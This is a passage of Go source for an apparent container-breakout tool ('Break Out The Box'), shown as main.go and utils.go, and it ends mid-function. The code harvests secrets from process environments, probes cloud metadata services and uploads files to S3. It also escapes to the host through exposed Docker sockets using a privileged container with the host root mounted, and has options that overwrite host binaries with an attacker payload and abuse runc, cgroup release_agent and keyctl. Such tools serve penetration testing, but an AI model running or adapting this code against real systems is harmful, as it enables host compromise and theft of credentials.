ioutil.ReadDir("/proc") 590 | if err != nil { 591 | fmt.Println("[ERROR], Could not access ProcFS") 592 | return 593 | } 594 | 595 | var terms []string 596 | if wordlist != "nil" { 597 | terms, err = getLinesFromFile(wordlist) 598 | if err != nil { 599 | panic(err) 600 | } 601 | } else { 602 | terms = append(terms, "secret", "password") 603 | } 604 | 605 | for _, file := range files { 606 | environFile := "/proc/" + file.Name() + "/environ" 607 | _, err := os.Stat(environFile) 608 | if err != nil { 609 | if *verbosePtr { 610 | fmt.Println("[ERROR] file does not exist-> ", environFile) 611 | } 612 | } else { 613 | cmd := "cat " + environFile 614 | output, err := execShellCmd(cmd) 615 | if err != nil { 616 | if *verbosePtr { 617 | fmt.Println("[ERROR] Could not query environ for-> ", environFile) 618 | } 619 | } 620 | if checkForJuicyDeets(wordlist, output, terms) { 621 | fmt.Printf("[!] Sensitive keyword found in: %s -> '%s'\n", environFile, output) 622 | exitCode = 2 623 | } 624 | } 625 | } 626 | } 627 | 628 | func checkEnvVars(wordlist string) { 629 | fmt.Println("[+] Checking ENV Variables for secrets") 630 | var terms []string 631 | var err error 632 | if wordlist != "nil" { 633 | terms, err = getLinesFromFile(wordlist) 634 | if err != nil { 635 | panic(err) 636 | } 637 | } else { 638 | terms = append(terms, "secret", "password") 639 | } 640 | 641 | for _, envVar := range os.Environ() { 642 | if checkForJuicyDeets(wordlist, envVar, terms) { 643 | fmt.Println("[!] Sensitive Keyword found in ENV: ", envVar) 644 | exitCode = 2 645 | } 646 | } 647 | 648 | } 649 | func checkMetadataServices(endpointList string) { 650 | if endpointList != "nil" { 651 | endpoints, err := getLinesFromFile(endpointList) 652 | if err != nil { 653 | log.Fatal(err) 654 | } 655 | 656 | for _, endpoint := range endpoints { 657 | if queryEndpoint(endpoint) { 658 | exitCode = 1 659 | } 660 | } 661 | 662 | } else { 663 | 664 | if queryEndpoint("http://169.254.169.254:8080/") { 665 | exitCode = 1 666 | } 667 | 668 | if *verbosePtr { 669 | fmt.Println("[*] Attempting to query GCP, Azure, Amazon and Digital Ocean") 670 | } 671 | if queryEndpoint("http://169.254.169.254/") { 672 | exitCode = 1 673 | } 674 | 675 | if *verbosePtr { 676 | fmt.Println("[*] Attempting to query GCP") 677 | } 678 | if queryEndpoint("http://metadata.google.internal/") { 679 | exitCode = 1 680 | } 681 | 682 | if *verbosePtr { 683 | fmt.Println("[*] Attempting to query Alibaba Cloud") 684 | } 685 | if queryEndpoint("http://100.100.100.200/") { 686 | exitCode = 1 687 | } 688 | 689 | if *verbosePtr { 690 | fmt.Println("[*] Attempting to query Kubernetes") 691 | } 692 | if queryEndpoint("https://kubernetes.default") { 693 | exitCode = 1 694 | } 695 | 696 | } 697 | } 698 | func autopwn(path string, cicd bool) { 699 | fmt.Println("[+] Attempting to autopwn") 700 | sockets, _ := getValidSockets(path) 701 | httpSockets := getHTTPEnabledSockets(sockets) 702 | dockerSocks := getDockerEnabledSockets(httpSockets) 703 | for _, element := range dockerSocks { 704 | err := autopwnDocker(element, cicd) 705 | if err != nil { 706 | fmt.Println("[ERROR] ", err) 707 | } 708 | } 709 | } 710 | 711 | func reverseDNS(cidr string) { 712 | fmt.Println("[*] Attempting to performd reverse DNS lookups:", cidr) 713 | ip, subnet, err := net.ParseCIDR(cidr) 714 | if err != nil { 715 | return 716 | } 717 | split := strings.Split(cidr, "/") 718 | bits, err := strconv.Atoi(split[1]) 719 | if err != nil { 720 | return 721 | } 722 | size := int(math.Exp2(float64(32 - bits))) 723 | if size > 2 { 724 | for i := 0; i < size; i++ { 725 | if i > 0 && i < size-1 { 726 | ip = net.IPv4(subnet.IP[0]|byte((i>>24)&0xff), 727 | subnet.IP[1]|byte((i>>16)&0xff), 728 | subnet.IP[2]|byte((i>>8)&0xff), 729 | subnet.IP[3]|byte((i>>0)&0xff)) 730 | reverse, _ := net.LookupAddr(ip.String()) 731 | if reverse != nil { 732 | fmt.Printf("[!] %s DNS entry: %s\n", ip.String(), strings.Join(reverse[:], ", ")) 733 | } 734 | } 735 | } 736 | } 737 | } 738 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "io/ioutil" 7 | "log" 8 | "os" 9 | 10 | "gopkg.in/yaml.v2" 11 | ) 12 | 13 | var verbosePtr, huntSockPtr, huntHttpPtr, huntDockerPtr, toJsonPtr, autopwnPtr, cicdPtr, reconPtr, metaDataPtr, findDockerdPtr, scrapeGcpMeta, alwaysSucceedPtr, k8secrets, pwnKeyctl *bool 14 | 15 | var validSocks []string 16 | 17 | var exitCode int 18 | var keyMin, keyMax *int 19 | var pathPtr, aggressivePtr, hijackPtr, wordlistPtr, endpointList, pushToS3ptr, s3BucketPtr, awsRegionPtr, cgroupPtr, configPtr, revDNSPtr *string 20 | 21 | type IpAddress struct { 22 | Address string 23 | } 24 | 25 | type Interface struct { 26 | Name string 27 | Addresses []IpAddress 28 | } 29 | 30 | type Config struct { 31 | Payload string 32 | Verbose bool 33 | Cicd bool 34 | AlwaysSucceed bool 35 | Endpoints string 36 | WordList string 37 | Path string 38 | Mode string 39 | Min int 40 | Max int 41 | } 42 | 43 | func main() { 44 | fmt.Println("[+] Break Out The Box") 45 | exitCode = 0 46 | log.SetFlags(log.LstdFlags | log.Lmicroseconds) 47 | 48 | pathPtr = flag.String("path", "/", "Path to Start Scanning for UNIX Domain Sockets") 49 | verbosePtr = flag.Bool("verbose", false, "Verbose output") 50 | huntSockPtr = flag.Bool("find-sockets", false, "Hunt for Available UNIX Domain Sockets") 51 | huntHttpPtr = flag.Bool("find-http", false, "Hunt for Available UNIX Domain Sockets with HTTP") 52 | 53 | autopwnPtr = flag.Bool("autopwn", false, "Attempt to autopwn exposed sockets") 54 | cicdPtr = flag.Bool("cicd", false, "Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0") 55 | reconPtr = flag.Bool("recon", false, "Perform Recon of the Container ENV") 56 | metaDataPtr = flag.Bool("metadata", false, "Attempt to find metadata services") 57 | aggressivePtr = flag.String("aggr", "nil", "Attempt to exploit RuncPWN") 58 | hijackPtr = flag.String("hijack", "nil", "Attempt to hijack binaries on host") 59 | wordlistPtr = flag.String("wordlist", "nil", "Provide a wordlist") 60 | endpointList = flag.String("endpoints", "nil", "Provide a textfile with endpoints to use for test") 61 | findDockerdPtr = flag.Bool("find-docker", false, "Attempt to find Dockerd") 62 | pushToS3ptr = flag.String("s3push", "nil", "Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME") 63 | s3BucketPtr = flag.String("s3bucket", "nil", "Provide a bucket name for S3 Push") 64 | awsRegionPtr = flag.String("region", "nil", "Provide a AWS Region e.g eu-west-2") 65 | scrapeGcpMeta = flag.Bool("scrape-gcp", false, "Attempt to scrape the GCP metadata service") 66 | cgroupPtr = flag.String("pwn-privileged", "nil", "Provide a command payload to try exploit --privilege CGROUP release_agent's") 67 | alwaysSucceedPtr = flag.Bool("always-succeed", false, "Always set BOtB's Exit code to Zero") 68 | configPtr = flag.String("config", "nil", "Load config from provided yaml file") 69 | revDNSPtr = flag.String("rev-dns", "nil", "Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24") 70 | k8secrets = flag.Bool("k8secrets", false, "Identify and Verify K8's Secrets") 71 | 72 | pwnKeyctl = flag.Bool("pwnKeyctl", false, "Abuse keyctl syscalls and extract data from Linux Kernel keyrings") 73 | keyMin = flag.Int("keyMin", 1, " Minimum key id range (default 1)") 74 | keyMax = flag.Int("keyMax", 100000000, " Maximum key id range (default 100000000) and max system value is 999999999") 75 | 76 | flag.Parse() 77 | 78 | if *configPtr != "nil" { 79 | //prep the config with some defaults 80 | cfg := Config{Path: ".", Verbose: false, Cicd: false, Payload: "nil"} 81 | 82 | cfg, err := loadConfig(*configPtr, cfg) 83 | if err != nil { 84 | fmt.Println("[ERROR] Loading config", err) 85 | return 86 | } 87 | *verbosePtr = cfg.Verbose 88 | runCfgArgs(cfg) 89 | 90 | } else { 91 | runCMDArgs() 92 | } 93 | 94 | fmt.Println("[+] Finished") 95 | if *alwaysSucceedPtr { 96 | os.Exit(0) 97 | } else { 98 | os.Exit(exitCode) 99 | } 100 | } 101 | 102 | func loadConfig(configPath string, config Config) (Config, error) { 103 | fmt.Println("[+] Loading Config:", configPath) 104 | source, err := ioutil.ReadFile(configPath) 105 | if err != nil { 106 | return config, err 107 | } 108 | err = yaml.Unmarshal(source, &config) 109 | if err != nil { 110 | return config, err 111 | } 112 | return config, nil 113 | } 114 | 115 | func runCfgArgs(cfg Config) { 116 | switch cfg.Mode { 117 | case "find-sockets": 118 | findDomainSockets(cfg.Path) 119 | case "find-http": 120 | findHttpSockets(cfg.Path) 121 | case "find-docker": 122 | findDockerD() 123 | case "metadata": 124 | checkMetadataServices(cfg.Endpoints) 125 | case "autopwn": 126 | autopwn(cfg.Path, cfg.Cicd) 127 | case "recon": 128 | fmt.Println("[+] Performing Container Recon") 129 | checkProcEnviron(cfg.WordList) 130 | checkEnvVars(cfg.WordList) 131 | case "scrape-gcp": 132 | scrapeMetadataEndpoints(cfg.Endpoints) 133 | case "hijack": 134 | hijackBinaries(cfg.Payload) 135 | case "aggr": 136 | runcPwn(cfg.Payload) 137 | case "pwn-privileged": 138 | abuseCgroupPriv(cfg.Payload) 139 | case "pwn-keyctl": 140 | pwnKeyCtl(cfg.Max, cfg.Min) 141 | default: 142 | fmt.Println("[!] Invalid mode provided") 143 | } 144 | } 145 | 146 | func runCMDArgs() { 147 | 148 | if *pwnKeyctl { 149 | pwnKeyCtl(*keyMin, *keyMax) 150 | } 151 | 152 | if *k8secrets { 153 | idenitfyVerifyK8Secrets() 154 | } 155 | 156 | if *cgroupPtr != "nil" { 157 | abuseCgroupPriv(*cgroupPtr) 158 | } 159 | 160 | if *scrapeGcpMeta { 161 | scrapeMetadataEndpoints(*endpointList) 162 | } 163 | 164 | if *pushToS3ptr != "nil" { 165 | if *s3BucketPtr == "nil" { 166 | fmt.Println("[!] Please provide a bucket name") 167 | return 168 | } 169 | if *awsRegionPtr == "nil" { 170 | fmt.Println("[!] Please provide a region") 171 | return 172 | } 173 | testUploadOfS3(*pushToS3ptr, *s3BucketPtr, *awsRegionPtr) 174 | } 175 | 176 | if *findDockerdPtr { 177 | findDockerD() 178 | } 179 | 180 | if *huntHttpPtr { 181 | findHttpSockets(*pathPtr) 182 | } 183 | 184 | if *hijackPtr != "nil" { 185 | hijackBinaries(*hijackPtr) 186 | } 187 | 188 | if *aggressivePtr != "nil" { 189 | runcPwn(*aggressivePtr) 190 | } 191 | 192 | if *reconPtr { 193 | fmt.Println("[+] Performing Container Recon") 194 | checkProcEnviron(*wordlistPtr) 195 | checkEnvVars(*wordlistPtr) 196 | } 197 | 198 | if *metaDataPtr { 199 | checkMetadataServices(*endpointList) 200 | } 201 | 202 | if *autopwnPtr { 203 | autopwn(*pathPtr, *cicdPtr) 204 | } 205 | 206 | if *huntSockPtr { 207 | fmt.Println("[+] Hunting Down UNIX Domain Sockets from:", *pathPtr) 208 | sockets, _ := getValidSockets(*pathPtr) 209 | for _, element := range sockets { 210 | fmt.Println("[!] Valid Socket: " + element) 211 | exitCode = 1 212 | } 213 | } 214 | 215 | if *revDNSPtr != "nil" { 216 | reverseDNS(*revDNSPtr) 217 | } 218 | } 219 | -------------------------------------------------------------------------------- /utils.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "archive/tar" 5 | "bufio" 6 | "bytes" 7 | "compress/gzip" 8 | "crypto/tls" 9 | "fmt" 10 | "io" 11 | "io/ioutil" 12 | "log" 13 | "math/rand" 14 | "net" 15 | "net/http" 16 | "os" 17 | "os/exec" 18 | "os/signal" 19 | "path/filepath" 20 | "strconv" 21 | "strings" 22 | "syscall" 23 | "time" 24 | 25 | "github.com/aws/aws-sdk-go/aws" 26 | "github.com/aws/aws-sdk-go/aws/credentials" 27 | "github.com/aws/aws-sdk-go/aws/session" 28 | "github.com/aws/aws-sdk-go/service/s3/s3manager" 29 | "github.com/creack/pty" 30 | "github.com/tv42/httpunix" 31 | "golang.org/x/crypto/ssh/terminal" 32 | ) 33 | 34 | func fileExists(filename string) bool { 35 | info, err := os.Stat(filename) 36 | if os.IsNotExist(err) { 37 | return false 38 | } 39 | return !info.IsDir() 40 | } 41 | 42 | func httpRequestBearer(url, token string) (int, error) { 43 | 44 | if *verbosePtr { 45 | fmt.Println("[*] Making HTTP Request:", url) 46 | } 47 | 48 | transport := &http.Transport{ 49 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 50 | } 51 | 52 | var bearer = "Bearer " + token 53 | 54 | req, err := http.NewRequest("GET", url, nil) 55 | req.Header.Add("Authorization", bearer) 56 | 57 | timeout := time.Duration(2 * time.Second) 58 | client := http.Client{ 59 | Timeout: timeout, 60 | Transport: transport, 61 | } 62 | resp, err := client.Do(req) 63 | if err != nil { 64 | return 0, err 65 | } 66 | defer resp.Body.Close() 67 | return resp.StatusCode, nil 68 | 69 | } 70 | 71 | func generateRandomString(len int) string { 72 | rand.Seed(time.Now().UTC().UnixNano()) 73 | bytes := make([]byte, len) 74 | for i := 0; i < len; i++ { 75 | bytes[i] = byte(65 + rand.Intn(25)) 76 | } 77 | return string(bytes) 78 | } 79 | 80 | func scrapeGcpMetadata(host, port string) (string, error) { 81 | connStr := fmt.Sprintf("%s:%s", host, port) 82 | d := net.Dialer{Timeout: time.Second * 5} 83 | 84 | fmt.Println("[+] Attempting to connect to: ", connStr) 85 | conn, err := d.Dial("tcp", connStr) 86 | if err != nil { 87 | return "", err 88 | } 89 | fmt.Fprintf(conn, "GET / HTTP/1.0\r\n\r\n") 90 | var buf bytes.Buffer 91 | bytesWritten, err := io.Copy(&buf, conn) 92 | if err != nil { 93 | return "", err 94 | } 95 | fmt.Printf("[*] Bytes received from metadata: %d\n", bytesWritten) 96 | return buf.String(), nil 97 | } 98 | 99 | func testUploadOfS3(fileToPush, s3Bucket, s3Region string) { 100 | fmt.Printf("[+] Pushing %s to -> %s\n", fileToPush, s3Bucket) 101 | 102 | s, err := session.NewSession(&aws.Config{ 103 | Region: aws.String(s3Region), 104 | Credentials: credentials.AnonymousCredentials, 105 | }) 106 | 107 | if err != nil { 108 | fmt.Println("[ERROR] ", err) 109 | } 110 | 111 | err = s3Push(s, fileToPush, s3Bucket) 112 | if err != nil { 113 | fmt.Println("[ERROR] ", err) 114 | } 115 | } 116 | 117 | func s3Push(s *session.Session, filename, s3Bucket string) error { 118 | uploader := s3manager.NewUploader(s) 119 | 120 | file, err := os.Open(filename) 121 | if err != nil { 122 | return fmt.Errorf("failed to open file %q, %v", filename, err) 123 | } 124 | 125 | result, err := uploader.Upload(&s3manager.UploadInput{ 126 | Bucket: aws.String(s3Bucket), 127 | Key: aws.String(filename), 128 | Body: file, 129 | }) 130 | if err != nil { 131 | return fmt.Errorf("failed to upload file, %v", err) 132 | } 133 | 134 | fmt.Println("[*] Data uploaded to:", *aws.String(result.Location)) 135 | 136 | return nil 137 | } 138 | 139 | func getGcpMetada() { 140 | fmt.Println("[+] Attempting to get GCP Metadata") 141 | } 142 | 143 | func execDocker(dockerSockPath string) error { 144 | cmd := "./docker/docker -H unix://" + dockerSockPath + " run docker id" 145 | out, err := exec.Command("sh", "-c", cmd).Output() 146 | if err != nil { 147 | return err 148 | } 149 | if *verbosePtr { 150 | fmt.Printf("[*] Command Output: %s\n", string(out[:])) 151 | } 152 | exitCode = 1 153 | return nil 154 | } 155 | 156 | func autopwnDocker(dockerSock string, cicd bool) error { 157 | fmt.Println("[+] Attempting to autopwn: ", dockerSock) 158 | 159 | _, err := os.Stat("docker/docker") 160 | fileUrl := "https://download.docker.com/linux/static/stable/x86_64/docker-18.09.2.tgz" 161 | if err != nil { 162 | if *verbosePtr { 163 | fmt.Println("[*] Getting Docker client...") 164 | } 165 | if err := downloadFile("docker-18.09.2.tgz", fileUrl); err != nil { 166 | return err 167 | } 168 | } 169 | 170 | file, err := os.Open("docker-18.09.2.tgz") 171 | if err != nil { 172 | return err 173 | } 174 | err = untar(".", file) 175 | if err != nil { 176 | return err 177 | } 178 | if *verbosePtr { 179 | fmt.Println("[*] Successfully got Docker client...") 180 | } 181 | fmt.Println("[+] Attempting to escape to host...") 182 | if cicd { 183 | if *verbosePtr { 184 | fmt.Println("[+] Attempting in CICD Mode") 185 | } 186 | err := execDocker(dockerSock) 187 | if err != nil { 188 | fmt.Println("[*] Failed to escape container") 189 | return err 190 | } 191 | fmt.Println("[!] Successfully escaped container") 192 | } else { 193 | fmt.Println("[+] Attempting in TTY Mode") 194 | err := dropToTTY(dockerSock) 195 | if err != nil { 196 | return err 197 | } 198 | fmt.Println("[*] Successfully exited TTY") 199 | } 200 | return nil 201 | } 202 | 203 | func huntDomainSockets() { 204 | fmt.Println("[+] Hunting Down UNIX Domain Sockets from:", *pathPtr) 205 | sockets, _ := getValidSockets(*pathPtr) 206 | for _, element := range sockets { 207 | fmt.Println("[!] Found Valid UNIX Domain Socket: ", element) 208 | } 209 | } 210 | 211 | func checkForJuicyDeets(wordlist string, data string, terms []string) bool { 212 | if wordlist != "nil" { 213 | for _, term := range terms { 214 | if strings.Contains(strings.ToLower(data), strings.ToLower(term)) { 215 | return true 216 | } 217 | } 218 | } else { 219 | if strings.Contains(strings.ToLower(data), "password") || strings.Contains(strings.ToLower(data), "secret") { 220 | return true 221 | } 222 | return false 223 | } 224 | return false 225 | } 226 | 227 | func execShellCmd2(command string, args ...string) error { 228 | cmd := exec.Command(command, args...) 229 | if *verbosePtr { 230 | fmt.Println("[*] Running command and waiting to finish") 231 | } 232 | err := cmd.Run() 233 | if err != nil { 234 | return err 235 | } 236 | return nil 237 | } 238 | 239 | func execShellCmd(cmd string) (string, error) { 240 | out, err := exec.Command("sh", "-c", cmd).Output() 241 | if err != nil { 242 | return string(out[:]), err 243 | } 244 | return string(out[:]), nil 245 | } 246 | 247 | func performHttpGetRequest(url string) (int, error) { 248 | timeout := time.Duration(3 * time.Second) 249 | 250 | tr := &http.Transport{ 251 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 252 | } 253 | 254 | client := http.Client{ 255 | Timeout: timeout, 256 | Transport: tr, 257 | } 258 | resp, err := client.Get(url) 259 | if err != nil { 260 | return 0, err 261 | } 262 | defer resp.Body.Close() 263 | return resp.StatusCode, nil 264 | } 265 | 266 | func getLinesFromFile(path string) ([]string, error) { 267 | fmt.Println("[*] Loading entries from:", path) 268 | var lines []string 269 | inFile, err := os.Open(path) 270 | if err != nil { 271 | return nil, err 272 | } 273 | defer inFile.Close() 274 | scanner := bufio.NewScanner(inFile) 275 | scanner.Split(bufio.ScanLines) 276 | for scanner.Scan() { 277 | lines = append(lines, scanner.Text()) 278 | } 279 | return lines, nil 280 | } 281 | 282 | func queryEndpoint(url string) bool { 283 | fmt.Printf("[*] Attempting to query metadata endpoint: '%s'\n", url) 284 | respCode, err := performHttpGetRequest(url) 285 | if err != nil { 286 | if *verbosePtr { 287 | fmt.Println("[ERROR]", err) 288 | } 289 | } 290 | if respCode > 0 { 291 | fmt.Printf("[!] Reponse from '%s' -> %d\n", url, respCode) 292 | return true 293 | } 294 | return false 295 | } 296 | 297 | func processCmdLine() { 298 | var found int 299 | for found == 0 { 300 | pids, err := ioutil.ReadDir("/proc") 301 | if err != nil { 302 | fmt.Println(err) 303 | return 304 | } 305 | for _, f := range pids { 306 | fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline") 307 | fstring := string(fbytes) 308 | if strings.Contains(fstring, "runc") { 309 | fmt.Println("[+] Found the PID:", f.Name()) 310 | found, err = strconv.Atoi(f.Name()) 311 | if err != nil { 312 | fmt.Println(err) 313 | return 314 | } 315 | } 316 | } 317 | } 318 | } 319 | 320 | func copyFile(src, dst string) error { 321 | if *verbosePtr { 322 | fmt.Printf("[!] Copying %s -> %s\n", src, dst) 323 | } 324 | 325 | in, err := os.Open(src) 326 | if err != nil { 327 | return err 328 | } 329 | defer in.Close() 330 | 331 | out, err := os.Create(dst) 332 | if err != nil { 333 | return err 334 | } 335 | defer out.Close() 336 | 337 | _, err = io.Copy(out, in) 338 | if err != nil { 339 | return err 340 | } 341 | return out.Close() 342 | } 343 | 344 | func createFile(filename, data string) error { 345 | if *verbosePtr { 346 | fmt.Println("[*] Creating file: ", filename) 347 | } 348 | f, err := os.Create(filename) 349 | if err != nil { 350 | fmt.Println(err) 351 | return err 352 | } 353 | l, err := f.WriteString(data) 354 | if err != nil { 355 | fmt.Println(err) 356 | f.Close() 357 | return err 358 | } 359 | if *verbosePtr { 360 | fmt.Println(l, "[*] Bytes written successfully") 361 | } 362 | 363 | err = f.Close() 364 | if err != nil { 365 | fmt.Println(err) 366 | return err 367 | } 368 | return nil 369 | } 370 | 371 | func hijackDirectory(dir, command string) { 372 | fmt.Println("[+] Currently hijacking: ", dir) 373 | files, err := ioutil.ReadDir(dir) 374 | if err != nil { 375 | log.Fatal(err) 376 | } 377 | if *verbosePtr { 378 | fmt.Printf("[*] Number of binaries identified: %d\n", len(files)) 379 | } 380 | hijackCount := 0 381 | for _, file := range files { 382 | 383 | if strings.ToLower(file.Name()) == "busybox" || strings.ToLower(file.Name()) == "sh" || strings.ToLower(file.Name()) == "dash" || 384 | strings.ToLower(file.Name()) == "ls" || strings.ToLower(file.Name()) == "echo" || strings.ToLower(file.Name()) == "chmod" || 385 | strings.ToLower(file.Name()) == "bash" || strings.ToLower(file.Name()) == "cp" || strings.ToLower(file.Name()) == "compgen" || 386 | strings.ToLower(file.Name()) == "rm" || strings.ToLower(file.Name()) == "mv" || strings.ToLower(file.Name()) == "which" || 387 | strings.ToLower(file.Name()) == "curl" || strings.ToLower(file.Name()) == "chown" || strings.ToLower(file.Name()) == "cat" { 388 | fmt.Println("[*] Skipping-> ", file.Name()) 389 | } else { 390 | 391 | if *verbosePtr { 392 | fmt.Println("[*] Hijacking -> ", file.Name()) 393 | } 394 | 395 | err := createFile(file.Name(), command) 396 | if err != nil { 397 | fmt.Println("[*] Error creating tmp file->", err) 398 | err = execShellCmd2("rm", file.Name()) 399 | if err != nil { 400 | fmt.Println("[*] Error cleaning up->", err) 401 | } 402 | continue 403 | } 404 | 405 | err = execShellCmd2("rm", fmt.Sprintf("%s/%s", dir, file.Name())) 406 | if err != nil { 407 | if *verbosePtr { 408 | fmt.Println("[*] Error deleting binary file->", err) 409 | } 410 | err = execShellCmd2("rm", file.Name()) 411 | if err != nil { 412 | fmt.Println("[*] Error cleaning up->", err) 413 | } 414 | continue 415 | } 416 | 417 | err = copyFile(file.Name(), fmt.Sprintf("%s/%s", dir, file.Name())) 418 | if err != nil { 419 | fmt.Println("[*] Error copying file->", err) 420 | continue 421 | } 422 | 423 | err = execShellCmd2("chmod", "+x", fmt.Sprintf("%s/%s", dir, file.Name())) 424 | if err != nil { 425 | fmt.Println("[*] Error chmoding file->", err) 426 | continue 427 | } 428 | 429 | err = execShellCmd2("rm", file.Name()) 430 | if err != nil { 431 | fmt.Println("[*] Error cleaning up->", err) 432 | continue 433 | } 434 | if err == nil { 435 | fmt.Println("[*] Successfully Hijacked -> ", file.Name()) 436 | hijackCount++ 437 | } 438 | } 439 | } 440 | fmt.Println("[+] Files Hijacked: ", hijackCount) 441 | } 442 | 443 | func findDomainSockets(path string) { 444 | fmt.Println("[+] Looking for UNIX Domain Sockets from:", path) 445 | sockets, _ := getValidSockets(path) 446 | for _, element := range sockets { 447 | fmt.Println("[!] Valid Socket: " + element) 448 | exitCode = 1 449 | } 450 | } 451 | 452 | func checkForDockerEnvSock() (string, bool) { 453 | fmt.Println("[*] Looking for Docker ENV variables") 454 | for _, envVar := range os.Environ() { 455 | if strings.Contains(strings.ToUpper(envVar), "DOCKER_HOST") { 456 | return envVar[strings.Index(envVar, "=")+1:], true 457 | } 458 | } 459 | return "", false 460 | } 461 | 462 | func downloadFile(filepath string, url string) error { 463 | transport := &http.Transport{ 464 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 465 | } 466 | client := &http.Client{Transport: transport} 467 | resp, err := client.Get(url) 468 | if err != nil { 469 | return err 470 | } 471 | 472 | defer resp.Body.Close() 473 | out, err := os.Create(filepath) 474 | if err != nil { 475 | return err 476 | } 477 | defer out.Close() 478 | _, err = io.Copy(out, resp.Body) 479 | return err 480 | } 481 | 482 | func dropToTTY(dockerSockPath string) error { 483 | // this code has been copy+pasted directly from https://github.com/kr/pty, it's that awesome 484 | cmd := "./docker/docker -H unix://" + dockerSockPath + " run -ti --privileged --net=host --pid=host --ipc=host -v /:/host alpine:latest /bin/sh" 485 | //additional check for userns-remap enabled or not, if yes, drop the --net, --pid and --ipc options as the host's namespace not accesible 486 | file, err := os.Open("/proc/self/uid_map") 487 | if err != nil { 488 | log.Fatal(err) 489 | } 490 | 491 | defer file.Close() 492 | 493 | scanner := bufio.NewScanner(file) 494 | for scanner.Scan() { 495 | if strings.Fields(scanner.Text())[1] != "0" { 496 | cmd = "./docker/docker -H unix://" + dockerSockPath + " run -ti -v /:/host alpine:latest /bin/sh" 497 | } 498 | } 499 | if err := scanner.Err(); err != nil { 500 | log.Fatal(err) 501 | } 502 | 503 | fmt.Println(cmd) 504 | c := exec.Command("sh", "-c", cmd) 505 | 506 | // Start the command with a pty. 507 | ptmx, err := pty.Start(c) 508 | if err != nil { 509 | return err 510 | } 511 | 512 | // Make sure to close the pty at the end. 513 | defer func() { _ = ptmx.Close() }() // Best effort. 514 | 515 | // Handle pty size. 516 | ch := make(chan os.Signal, 1) 517 | signal.Notify(ch, syscall.SIGWINCH) 518 | go func() { 519 | for range ch { 520 | if err := pty.InheritSize(os.Stdin, ptmx); err != nil { 521 | log.Printf("error resizing pty: %s", err) 522 | } 523 | } 524 | }() 525 | ch <- syscall.SIGWINCH // Initial resize. 526 | go func() { 527 | ptmx.Write([]byte("chroot /host && clear\n")) 528 | }() 529 | 530 | // Set stdin in raw mode. 531 | oldState, err := terminal.MakeRaw(int(os.Stdin.Fd())) 532 | if err != nil { 533 | panic(err) 534 | } 535 | defer func() { _ = terminal.Restore(int(os.Stdin.Fd()), oldState) }() // Best effort. 536 | 537 | go func() { 538 | ptmx.Write([]byte("echo 'You are now on the underlying host'\n")) 539 | }() 540 | // Copy stdin to the pty and the pty to stdout. 541 | go func() { _, _ = io.Copy(ptmx, os.Stdin) }() 542 | _, _ = io.Copy(os.Stdout, ptmx) 543 | return nil 544 | } 545 | 546 | func untar(dst string, r io.Reader) error { 547 | // this code has been copy pasted from this great gist https://gist.github.com/sdomino/635a5ed4f32c93aad131#file-untargz-go 548 | gzr, err := gzip.NewReader(r) 549 | if err != nil { 550 | return err 551 | } 552 | defer gzr.Close() 553 | tr := tar.NewReader(gzr) 554 | for { 555 | header, err := tr.Next() 556 | switch { 557 | // if no more files are found return 558 | case err == io.EOF: 559 | return nil 560 | // return any other error 561 | case err != nil: 562 | return err 563 | // if the header is nil, just skip it (not sure how this happens) 564 | case header == nil: 565 | continue 566 | } 567 | // the target location where the dir/file should be created 568 | target := filepath.Join(dst, header.Name) 569 | // check the file type 570 | switch header.Typeflag { 571 | 572 | // if its a dir and it doesn't exist create it 573 | case tar.TypeDir: 574 | if _, err := os.Stat(target); err != nil { 575 | if err := os.MkdirAll(target, 0755); err != nil { 576 | return err 577 | } 578 | } 579 | // if it's a file create it 580 | case tar.TypeReg: 581 | f, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode)) 582 | if err != nil { 583 | return err 584 | } 585 | // copy over contents 586 | if _, err := io.Copy(f, tr); err != nil { 587 | return err 588 | } 589 | // manually close here after each file operation; defering would cause each file close 590 | // to wait until all operations have completed. 591 | f.Close() 592 | } 593 | } 594 | } 595 | 596 | func getDockerEnabledSockets(socks []string) []string { 597 | fmt.Println("[+] Hunting Docker Socks") 598 | var dockerSocks []string 599 | for _, element := range socks { 600 | resp, err := checkSock(element) 601 | if err == nil { 602 | if resp.StatusCode >= 200 && resp.StatusCode <= 299 { 603 | dockerSocks = append(dockerSocks, element) 604 | if *verbosePtr { 605 | fmt.Println("[+] Valid Docker Socket: " + element) 606 | } 607 | } else { 608 | if *verbosePtr { 609 | fmt.Println("[+] Invalid Docker Socket: " + element) 610 | } 611 | } 612 | defer resp.Body.Close() 613 | } else { 614 | if *verbosePtr { 615 | fmt.Println("[+] Invalid Docker Socket: " + element) 616 | } 617 | } 618 | } 619 | return dockerSocks 620 | } 621 | 622 | func getHTTPEnabledSockets(socks []string) []string { 623 | var httpSocks []string 624 | for _, element := range socks { 625 | _, err := checkSock(element) 626 | if err == nil { 627 | httpSocks = append(httpSocks, element) 628 | if *verbosePtr { 629 | fmt.Println("[+] Valid HTTP Socket: " + element) 630 | } 631 | } else { 632 | if *verbosePtr { 633 | fmt.Println("[+] Invalid HTTP Socket: " + element) 634 | } 635 | } 636 | } 637 | return httpSocks 638 | } 639 | 640 | func walkpath(path string, info os.FileInfo, err error) error { 641 | if err != nil { 642 | if *verbosePtr { 643 | fmt.Println("[ERROR]: ", err) 644 | } 645 | } else { 646 | switch mode := info.Mode(); { 647 | case mode&os.ModeSocket != 0: 648 | validSocks = append(validSocks, path) 649 | default: 650 | if *verbosePtr { 651 | fmt.Println("[*] Invalid Socket: " + path) 652 | } 653 | } 654 | } 655 | return nil 656 | } 657 | 658 | func getValidSockets(startPath string) ([]string, error) { 659 | validSocks = nil 660 | err := filepath.Walk(startPath, walkpath) 661 | if err != nil { 662 | if *verbosePtr { 663 | fmt.Println("[ERROR]: ", err) 664 | } 665 | return nil, err 666 